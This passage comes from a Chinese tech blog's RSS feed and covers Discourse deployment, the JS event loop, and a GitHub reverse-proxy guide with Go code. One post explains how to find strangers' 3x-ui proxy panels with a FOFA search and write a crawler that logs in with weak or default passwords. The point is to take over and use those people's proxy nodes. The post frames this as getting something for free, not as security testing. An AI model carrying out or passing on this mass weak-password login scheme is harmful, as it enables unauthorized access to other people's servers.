&lt;td&gt;网站管理员用户名（&lt;strong&gt;必改&lt;/strong&gt;）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;siteadmin12345&lt;/td&gt;
&lt;td&gt;网站管理员密码（&lt;strong&gt;必改&lt;/strong&gt;）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;siteadmin@gmail.com&lt;/td&gt;
&lt;td&gt;网站管理员邮箱（&lt;strong&gt;必改&lt;/strong&gt;）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;smtp.mailgun.org&lt;/td&gt;
&lt;td&gt;邮箱HOST（&lt;strong&gt;必改&lt;/strong&gt;）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;587&lt;/td&gt;
&lt;td&gt;邮箱端口。只能用587端口（&lt;strong&gt;必改&lt;/strong&gt;）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;邮箱用户名&lt;/td&gt;
&lt;td&gt;邮箱用户名（&lt;strong&gt;必改&lt;/strong&gt;）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;邮箱密码&lt;/td&gt;
&lt;td&gt;邮箱密码（或者授权码）（&lt;strong&gt;必改&lt;/strong&gt;）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;tls&lt;/td&gt;
&lt;td&gt;邮箱协议。只能用TLS协议（&lt;strong&gt;必改&lt;/strong&gt;）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;如果需要一个支持SMTP TLS的邮箱服务可以使用&lt;a href=&quot;/posts/exmail-qq/&quot;&gt;微信企业邮&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;构建：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker compose up -d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果遇到 &lt;code&gt;docker.io&lt;/code&gt; 无法访问。可以使用镜像源&lt;/p&gt;
&lt;p&gt;部署完毕后查看 &lt;code&gt;discourse-discourse-1&lt;/code&gt; 容器的日志&lt;/p&gt;
&lt;p&gt;如果看到下述日志，则Discourse正在进行预编译资源，稍等几分钟即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;INFO  ==&amp;gt; Precompiling assets, this may take some time...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果看到下述日志，证明Discourse已经在容器内3000端口启动了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Accessible via: http://0.0.0.0:3000/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来访问你设置的域名（如果没有做解析或者网站在内网可以使用Cloudflare Tunnel曲线救国）&lt;/p&gt;
&lt;p&gt;访问，大功告成&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-05-02-22-20-51-image.CIq2-8-2.webp&quot; alt=&quot;2025-05-02-22-20-51-image.webp&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>白嫖免费的3x-ui面板</title><link>https://2x.nz/posts/free-3xui/</link><guid isPermaLink="true">https://2x.nz/posts/free-3xui/</guid><description>3x-ui面板是一个非常好用的代理面板，很多人都在使用他，如果有人使用的是默认密码...</description><pubDate>Wed, 30 Apr 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;首先我们要先找到互联网上搭建了3x-ui的网站，可以使用 &lt;a href=&quot;https://fofa.info/&quot;&gt;网络空间测绘，网络空间安全搜索引擎，网络空间搜索引擎，安全态势感知 - FOFA网络空间测绘系统&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-05-01-22-14-32-image.BBjkL9N4.webp&quot; alt=&quot;2025-05-01-22-14-32-image.webp&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进入后我们搜索：&lt;code&gt;app=&quot;3x-ui&quot; &amp;amp;&amp;amp; region=&quot;HK&quot;&lt;/code&gt; 即寻找3x-ui网站，并且地区为中国香港的&lt;/p&gt;
&lt;p&gt;接下来我们制作一个TXT文档，里面全部都是搭建了3x-ui的网站，如图&lt;img src=&quot;https://2x.nz/_astro/8b9390ec-61b0-4f78-8d76-aa2b7cb136e5.DXwKOW4A.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后我们就要找到3x-ui的登录原理&lt;/p&gt;
&lt;p&gt;通过正常登录可知，他会请求 &lt;code&gt;/login&lt;/code&gt; 并且以 &lt;code&gt;application/x-www-form-urlencoded; charset=UTF-8&lt;/code&gt; 格式发送请求体&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-05-01-22-10-39-image.2GftcpPA.webp&quot; alt=&quot;2025-05-01-22-10-39-image.webp&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来让我们查看请求体，非常简单！只有一个 &lt;code&gt;username&lt;/code&gt; 和 &lt;code&gt;password&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-05-01-22-12-14-image.BCoQdCTT.webp&quot; alt=&quot;2025-05-01-22-12-14-image.webp&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后让我们在Postman中模拟请求...完全没有问题！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-05-01-22-12-46-f6cec50c16c94c50acc0e23150edde22.IbOHTrDX.webp&quot; alt=&quot;2025-05-01-22-12-46-f6cec50c16c94c50acc0e23150edde22.webp&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来就可以编写爬虫了！&lt;/p&gt;
&lt;p&gt;大致原理：依次请求TXT内的网站，并且模拟登录，如果弱口令登录成功，并且网站返回登录成功的JSON，就将它记录到另一个TXT。循环结束后就能得到非常非常多的白嫖的节点了！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-05-01-22-16-13-image.CUrfXF7n.webp&quot; alt=&quot;2025-05-01-22-16-13-image.webp&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>浏览器JS运行原理</title><link>https://2x.nz/posts/browser-run-js/</link><guid isPermaLink="true">https://2x.nz/posts/browser-run-js/</guid><description>本文深度剖析浏览器的JS运行原理以及浏览器内部事件处理的根本操作：事件循环</description><pubDate>Thu, 24 Apr 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;引言：以下JS代码运行的结果是什么？&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;function a() {
    console.log(&quot;1&quot;);
    Promise.resolve().then(() =&amp;gt; {
        console.log(&quot;2&quot;);
    });
}
setTimeout(function () {
    console.log(&quot;3&quot;);
    Promise.resolve().then(a);
}, 0);

Promise.resolve().then(function () {
    console.log(&quot;4&quot;);
});

console.log(&quot;5&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;浏览器是如何按部就班执行命令的？&lt;/h1&gt;
&lt;p&gt;浏览器的所有操作都由&lt;strong&gt;渲染主线程&lt;/strong&gt;执行，渲染主线程将创建一个无限循环的任务执行已有的任务，当渲染主线程无任务时将从&lt;strong&gt;消息队列&lt;/strong&gt;中拿取新的任务执行。&lt;strong&gt;所有任务遵循先来后到，不允许插队执行&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;视频分析：&lt;/p&gt;
&lt;p&gt;&amp;lt;iframe src=&quot;//player.bilibili.com/player.html?isOutside=true&amp;amp;aid=114398232385591&amp;amp;bvid=BV1VpLJzPEBp&amp;amp;cid=29606019473&amp;amp;p=1&quot; scrolling=&quot;no&quot; border=&quot;0&quot; frameborder=&quot;no&quot; framespacing=&quot;0&quot; allowfullscreen=&quot;true&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>Github全站反向代理搭建指南</title><link>https://2x.nz/posts/gh-proxy/</link><guid isPermaLink="true">https://2x.nz/posts/gh-proxy/</guid><description>搭建Github全站代理的完整指南，涵盖原理讲解与多种部署方案（Cloudflare Worker、EdgeOne Pages、Vercel、VPS+Go）</description><pubDate>Mon, 14 Apr 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;引言&lt;/h1&gt;
&lt;p&gt;由于网络原因，国内访问Github经常遇到各种问题。本文将带你从原理到实践，搭建一个属于自己的Github全站反向代理。&lt;/p&gt;
&lt;h1&gt;为什么不能只用透明代理？&lt;/h1&gt;
&lt;p&gt;针对Github这样的网站，我们无法仅使用一个简单的透明反向代理指向 &lt;code&gt;github.com&lt;/code&gt; 来解决，原因有两点：&lt;/p&gt;
&lt;h2&gt;1. 外域依赖问题&lt;/h2&gt;
&lt;p&gt;Github官网有许多外域依赖，比如 &lt;code&gt;raw.githubusercontent.com&lt;/code&gt;、&lt;code&gt;avatars.githubusercontent.com&lt;/code&gt; 等。如果只代理主域名，这些资源请求会直接访问原站，导致加载失败。&lt;/p&gt;
&lt;h2&gt;2. 钓鱼风险&lt;/h2&gt;
&lt;p&gt;注意！直接反代主流网站后，不久你的网站就会被Cloudflare标记为&lt;strong&gt;钓鱼站点&lt;/strong&gt;，因为你原封不动的克隆了人家站点并且 &lt;strong&gt;没有显式屏蔽登录页面&lt;/strong&gt;。&lt;/p&gt;
&lt;h1&gt;解决方案：透明代理 + HTML覆写&lt;/h1&gt;
&lt;h2&gt;核心思路&lt;/h2&gt;
&lt;p&gt;我们需要实现两个关键功能：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;透明代理&lt;/strong&gt;：将请求转发到Github服务器&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HTML覆写&lt;/strong&gt;：重写Github返回的HTML，将其中的外域改为我们自己的域&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;请求流程对比&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;原始流程：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;用户 -&amp;gt; github.com -&amp;gt; raw.githubusercontent.com（被github.com请求）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;代理流程：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;用户 -&amp;gt; gh.072103.xyz -&amp;gt; raw-githubusercontent-com.072103.xyz（被gh.072103.xyz请求）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对于 &lt;code&gt;gh.072103.xyz&lt;/code&gt; 的请求由代理服务转发到 &lt;code&gt;github.com&lt;/code&gt;，而针对于 &lt;code&gt;raw-githubusercontent-com.072103.xyz&lt;/code&gt; 的请求则转发到 &lt;code&gt;raw.githubusercontent.com&lt;/code&gt;。&lt;/p&gt;
&lt;h2&gt;域名映射配置&lt;/h2&gt;
&lt;p&gt;你需要配置类似这样的域名映射：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const domain_mappings = {
  &apos;github.com&apos;: &apos;gh.&apos;,
  &apos;avatars.githubusercontent.com&apos;: &apos;avatars-githubusercontent-com.&apos;,
  &apos;github.githubassets.com&apos;: &apos;github-githubassets-com.&apos;,
  &apos;collector.github.com&apos;: &apos;collector-github-com.&apos;,
  &apos;api.github.com&apos;: &apos;api-github-com.&apos;,
  &apos;raw.githubusercontent.com&apos;: &apos;raw-githubusercontent-com.&apos;,
  &apos;gist.githubusercontent.com&apos;: &apos;gist-githubusercontent-com.&apos;,
  &apos;github.io&apos;: &apos;github-io.&apos;,
  &apos;assets-cdn.github.com&apos;: &apos;assets-cdn-github-com.&apos;,
  &apos;cdn.jsdelivr.net&apos;: &apos;cdn.jsdelivr-net.&apos;,
  &apos;securitylab.github.com&apos;: &apos;securitylab-github-com.&apos;,
  &apos;www.githubstatus.com&apos;: &apos;www-githubstatus-com.&apos;,
  &apos;npmjs.com&apos;: &apos;npmjs-com.&apos;,
  &apos;git-lfs.github.com&apos;: &apos;git-lfs-github-com.&apos;,
  &apos;githubusercontent.com&apos;: &apos;githubusercontent-com.&apos;,
  &apos;github.global.ssl.fastly.net&apos;: &apos;github-global-ssl-fastly-net.&apos;,
  &apos;api.npms.io&apos;: &apos;api-npms-io.&apos;,
  &apos;github.community&apos;: &apos;github-community.&apos;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;假如你的域名为 &lt;code&gt;abc.com&lt;/code&gt;，你需要将以下子域名绑定到你的代理服务：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;gh.abc.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;avatars-githubusercontent-com.abc.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;raw-githubusercontent-com.abc.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;...等等&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;防钓鱼措施&lt;/h2&gt;
&lt;p&gt;我们需要找到原站点的所有登录页逐一屏蔽，对于Github.com，我们需要屏蔽：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/&lt;/code&gt; &lt;code&gt;/login&lt;/code&gt; &lt;code&gt;/signup&lt;/code&gt; &lt;code&gt;copilot&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;你可以将其直接导向404，或者重定向到另外的网站，&lt;strong&gt;只要不让你的用户能在你的反代网站上登录就可以&lt;/strong&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;部署方案&lt;/h1&gt;
&lt;p&gt;下面介绍四种部署方案，按照部署难度从简单到复杂排序：&lt;/p&gt;
&lt;h2&gt;方案一：Vercel Function（最简单）&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;嫌弃CF Worker不够快？那就试试Vercel Function！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;优点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;部署最简单，一键完成&lt;/li&gt;
&lt;li&gt;速度快&lt;/li&gt;
&lt;li&gt;与GitHub集成良好&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;部署步骤&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;克隆 &lt;a href=&quot;https://github.com/afoim/VercelFunctionGithubProxy&quot;&gt;afoim/VercelFunctionGithubProxy&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;部署到Vercel&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-30-22-14-07-aa3b925d5e2e522cc0a0abccd87b5887.zzxd3pgA.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;绑定你自己的域名&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-30-22-14-10-b79c2d588117ab15fc4a08efe359db4f.BDsrCn9p.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;根据你的域名修改域名映射配置，绑定所有子域名即可使用&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;方案二：Cloudflare Worker（推荐）&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;教程视频：https://www.bilibili.com/video/BV1jGd6YpE8z&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;优点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;免费&lt;/li&gt;
&lt;li&gt;无需服务器&lt;/li&gt;
&lt;li&gt;全球CDN加速&lt;/li&gt;
&lt;li&gt;部署简单&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;部署步骤&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;进入 &lt;a href=&quot;https://dash.cloudflare.com&quot;&gt;dash.cloudflare.com&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;创建新Worker，选择Hello World模板&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://github.com/afoim/GithubSiteProxyForCloudflareWorker&quot;&gt;GitHub - afoim/GithubSiteProxyForCloudflareWorker&lt;/a&gt; 复制 &lt;code&gt;worker.js&lt;/code&gt; 代码粘贴到你的Worker&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;根据你的域名修改域名映射配置&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;将所有需要的子域名绑定到你的Worker&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;访问 &lt;code&gt;gh.你的域名&lt;/code&gt; 即可使用&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;完整代码&lt;/h3&gt;
&lt;p&gt;参见Github仓库：https://github.com/afoim/GithubSiteProxyForCloudflareWorker&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;方案三：EdgeOne Pages&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;适合国内用户，访问速度更快&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;优点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;国内访问速度优秀&lt;/li&gt;
&lt;li&gt;免费额度充足&lt;/li&gt;
&lt;li&gt;部署相对简单&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;部署步骤&lt;/h3&gt;
&lt;h4&gt;1. 下载源码&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;源码：&lt;a href=&quot;https://github.com/afoim/EdgeOnePagesFunctionGithubProxy&quot;&gt;afoim/EdgeOnePagesFunctionGithubProxy&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;下载 https://r2.072103.xyz/github-eopf.zip 并解压&lt;/p&gt;
&lt;p&gt;目录结构：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-30-20-43-29-image.CzfeR4G3.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;2. 修改域名配置&lt;/h4&gt;
&lt;p&gt;打开任意一个JS文件，更改域名映射配置。注意：每个JS文件的内容都需要修改！&lt;/p&gt;
&lt;h4&gt;3. 上传到EdgeOne Pages&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-30-20-45-20-image.D7UDQ1xV.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;4. 绑定域名&lt;/h4&gt;
&lt;p&gt;按照前缀绑定所有需要的子域名：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-30-20-46-18-image.ZWqsh-Ky.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;为什么目录结构这么特殊？&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;index.html&lt;/code&gt;&lt;/strong&gt;：空的HTML文件，因为不放就404&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;index.js&lt;/code&gt;&lt;/strong&gt;：负责 &lt;code&gt;/&lt;/code&gt; 路由&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;[[default.js]]&lt;/code&gt;&lt;/strong&gt;：负责 &lt;code&gt;/*&lt;/code&gt; 路由&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;方案四：VPS + Go（最灵活）&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;适合有VPS且希望完全掌控的用户，部署相对复杂&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;优点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;完全自主可控&lt;/li&gt;
&lt;li&gt;不依赖第三方平台&lt;/li&gt;
&lt;li&gt;可以自定义更多功能&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;部署步骤&lt;/h3&gt;
&lt;h4&gt;1. 安装Golang运行时&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;apt install golang
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2. 创建项目目录&lt;/h4&gt;
&lt;p&gt;创建一个文件夹，放置 &lt;code&gt;main.go&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package main

import (
	&quot;fmt&quot;
	&quot;io&quot;
	&quot;log&quot;
	&quot;net/http&quot;
	&quot;net/url&quot;
	&quot;regexp&quot;
	&quot;strings&quot;
	&quot;time&quot;
)

// 域名映射配置
var domainMappings = map[string]string{
	&quot;github.com&quot;:                    &quot;gh.&quot;,
	&quot;avatars.githubusercontent.com&quot;: &quot;avatars-githubusercontent-com.&quot;,
	&quot;github.githubassets.com&quot;:       &quot;github-githubassets-com.&quot;,
	&quot;collector.github.com&quot;:          &quot;collector-github-com.&quot;,
	&quot;api.github.com&quot;:                &quot;api-github-com.&quot;,
	&quot;raw.githubusercontent.com&quot;:     &quot;raw-githubusercontent-com.&quot;,
	&quot;gist.githubusercontent.com&quot;:    &quot;gist-githubusercontent-com.&quot;,
	&quot;github.io&quot;:                     &quot;github-io.&quot;,
	&quot;assets-cdn.github.com&quot;:         &quot;assets-cdn-github-com.&quot;,
	&quot;cdn.jsdelivr.net&quot;:              &quot;cdn.jsdelivr-net.&quot;,
	&quot;securitylab.github.com&quot;:        &quot;securitylab-github-com.&quot;,
	&quot;www.githubstatus.com&quot;:          &quot;www-githubstatus-com.&quot;,
	&quot;npmjs.com&quot;:                     &quot;npmjs-com.&quot;,
	&quot;git-lfs.github.com&quot;:            &quot;git-lfs-github-com.&quot;,
	&quot;githubusercontent.com&quot;:         &quot;githubusercontent-com.&quot;,
	&quot;github.global.ssl.fastly.net&quot;:  &quot;github-global-ssl-fastly-net.&quot;,
	&quot;api.npms.io&quot;:                   &quot;api-npms-io.&quot;,
	&quot;github.community&quot;:              &quot;github-community.&quot;,
}

// 需要重定向的路径
var redirectPaths = []string{&quot;/&quot;, &quot;/login&quot;, &quot;/signup&quot;, &quot;/copilot&quot;}

// 检查路径是否需要重定向
func shouldRedirect(path string) bool {
	for _, p := range redirectPaths {
		if path == p {
			return true
		}
	}
	return false
}

// 获取代理前缀
func getProxyPrefix(host string) string {
	if strings.HasPrefix(host, &quot;gh.&quot;) {
		return &quot;gh.&quot;
	}

	for _, prefix := range domainMappings {
		if strings.HasPrefix(host, prefix) {
			return prefix
		}
	}

	return &quot;&quot;
}

// 根据前缀获取目标域名
func getTargetHost(prefix string) string {
	for original, p := range domainMappings {
		if p == prefix {
			return original
		}
	}
	return &quot;&quot;
}

// 处理响应内容，替换域名引用
func modifyResponse(body []byte, contentType, hostPrefix, currentHostname string) []byte {
	if !strings.Contains(contentType, &quot;text/&quot;) &amp;amp;&amp;amp;
		!strings.Contains(contentType, &quot;application/json&quot;) &amp;amp;&amp;amp;
		!strings.Contains(contentType, &quot;application/javascript&quot;) &amp;amp;&amp;amp;
		!strings.Contains(contentType, &quot;application/xml&quot;) {
		return body
	}

	text := string(body)
	domainSuffix := currentHostname[len(hostPrefix):]

	for originalDomain, proxyPrefix := range domainMappings {
		fullProxyDomain := proxyPrefix + domainSuffix
		text = strings.ReplaceAll(text, &quot;https://&quot;+originalDomain, &quot;https://&quot;+fullProxyDomain)
		text = strings.ReplaceAll(text, &quot;http://&quot;+originalDomain, &quot;https://&quot;+fullProxyDomain)
		text = strings.ReplaceAll(text, &quot;//&quot;+originalDomain, &quot;//&quot;+fullProxyDomain)
		text = strings.ReplaceAll(text, `&quot;`+originalDomain+`&quot;`, `&quot;`+fullProxyDomain+`&quot;`)
		text = strings.ReplaceAll(text, `&apos;`+originalDomain+`&apos;`, `&apos;`+fullProxyDomain+`&apos;`)
	}

	if hostPrefix == &quot;gh.&quot; {
		text = strings.ReplaceAll(text, `&quot;/`, `&quot;https://`+currentHostname+`/`)
		text = strings.ReplaceAll(text, `&apos;/`, `&apos;https://`+currentHostname+`/`)
	}

	return []byte(text)
}

// 处理请求
func handleRequest(w http.ResponseWriter, r *http.Request) {
	currentHost := r.Host

	if shouldRedirect(r.URL.Path) {
		http.Redirect(w, r, &quot;https://www.gov.cn&quot;, http.StatusFound)
		return
	}

	hostPrefix := getProxyPrefix(currentHost)
	if hostPrefix == &quot;&quot; {
		http.Error(w, &quot;Domain not configured for proxy&quot;, http.StatusNotFound)
		return
	}

	targetHost := getTargetHost(hostPrefix)
	if targetHost == &quot;&quot; {
		http.Error(w, &quot;Domain not configured for proxy&quot;, http.StatusNotFound)
		return
	}

	pathname := r.URL.Path

	re1 := regexp.MustCompile(`(/[^/]+/[^/]+/(?:latest-commit|tree-commit-info)/[^/]+)/https%3A//[^/]+.*`)
	pathname = re1.ReplaceAllString(pathname, &quot;$1&quot;)

	re2 := regexp.MustCompile(`(/[^/]+/[^/]+/(?:latest-commit|tree-commit-info)/[^/]+)/https://[^/]+.*`)
	pathname = re2.ReplaceAllString(pathname, &quot;$1&quot;)

	re3 := regexp.MustCompile(`(/[^/]+/[^/]+/(?:latest-commit|tree-commit-info)/[^/]+)/https:/[^/]+.*`)
	pathname = re3.ReplaceAllString(pathname, &quot;$1&quot;)

	targetURL := &amp;amp;url.URL{
		Scheme:   &quot;https&quot;,
		Host:     targetHost,
		Path:     pathname,
		RawQuery: r.URL.RawQuery,
	}

	req, err := http.NewRequest(r.Method, targetURL.String(), r.Body)
	if err != nil {
		http.Error(w, fmt.Sprintf(&quot;Failed to create request: %v&quot;, err), http.StatusInternalServerError)
		return
	}

	for key, values := range r.Header {
		for _, value := range values {
			req.Header.Add(key, value)
		}
	}

	req.Header.Set(&quot;Host&quot;, targetHost)
	req.Header.Set(&quot;Referer&quot;, targetURL.String())
	req.Header.Set(&quot;Accept-Encoding&quot;, &quot;identity&quot;)

	client := &amp;amp;http.Client{
		Timeout: 30 * time.Second,
	}

	resp, err := client.Do(req)
	if err != nil {
		http.Error(w, fmt.Sprintf(&quot;Proxy Error: %v&quot;, err), http.StatusBadGateway)
		return
	}
	defer resp.Body.Close()

	body, err := io.ReadAll(resp.Body)
	if err != nil {
		http.Error(w, fmt.Sprintf(&quot;Failed to read response: %v&quot;, err), http.StatusInternalServerError)
		return
	}

	contentType := resp.Header.Get(&quot;Content-Type&quot;)
	modifiedBody := modifyResponse(body, contentType, hostPrefix, currentHost)

	for key, values := range resp.Header {
		if key == &quot;Content-Encoding&quot; || key == &quot;Content-Length&quot; {
			continue
		}
		for _, value := range values {
			w.Header().Add(key, value)
		}
	}

	w.Header().Set(&quot;Access-Control-Allow-Origin&quot;, &quot;*&quot;)
	w.Header().Set(&quot;Access-Control-Allow-Credentials&quot;, &quot;true&quot;)
	w.Header().Set(&quot;Cache-Control&quot;, &quot;public, max-age=14400&quot;)
	w.Header().Del(&quot;Content-Security-Policy&quot;)
	w.Header().Del(&quot;Content-Security-Policy-Report-Only&quot;)
	w.Header().Del(&quot;Clear-Site-Data&quot;)
	w.Header().Set(&quot;Content-Length&quot;, fmt.Sprintf(&quot;%d&quot;, len(modifiedBody)))
	w.WriteHeader(resp.StatusCode)
	w.Write(modifiedBody)
}

func main() {
	http.HandleFunc(&quot;/&quot;, handleRequest)
	port := &quot;:8080&quot;
	log.Printf(&quot;GitHub代理服务器启动在端口 %s&quot;, port)
	log.Printf(&quot;请确保你的域名已正确配置并指向此服务器&quot;)

	if err := http.ListenAndServe(port, nil); err != nil {
		log.Fatal(&quot;服务器启动失败:&quot;, err)
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3. 创建 go.mod&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;module github-proxy

go 1.19
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;4. 运行服务&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;go run .
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出以下日志即成功：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@localhost:~/go_proxy# go run .
2025/06/20 23:13:17 GitHub代理服务器启动在端口 :8080
2025/06/20 23:13:17 请确保你的域名已正确配置并指向此服务器
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;5. 配置Nginx反向代理&lt;/h4&gt;
&lt;p&gt;使用Nginx或OpenResty反向代理 &lt;code&gt;localhost:8080&lt;/code&gt;，配置域名格式为 &lt;code&gt;gh.你的域名&lt;/code&gt;：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/123a521d-2340-4433-b9fe-4965d46d4321.DjYjPO4e.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;6. 签发SSL证书&lt;/h4&gt;
&lt;p&gt;签发泛域名证书并部署：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/b58b55fe-adbd-4d3e-8977-c3f7efaf0185.Bv6J958b.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;7. 完成&lt;/h4&gt;
&lt;p&gt;现在你可以通过自己的域名+VPS代理访问Github，国内直连，无需梯子：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/fccbc8af-d2b1-479f-b32d-d0f023fd4c06.hTicSFy5.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;方案对比&lt;/h1&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;方案&lt;/th&gt;
&lt;th&gt;成本&lt;/th&gt;
&lt;th&gt;国内速度&lt;/th&gt;
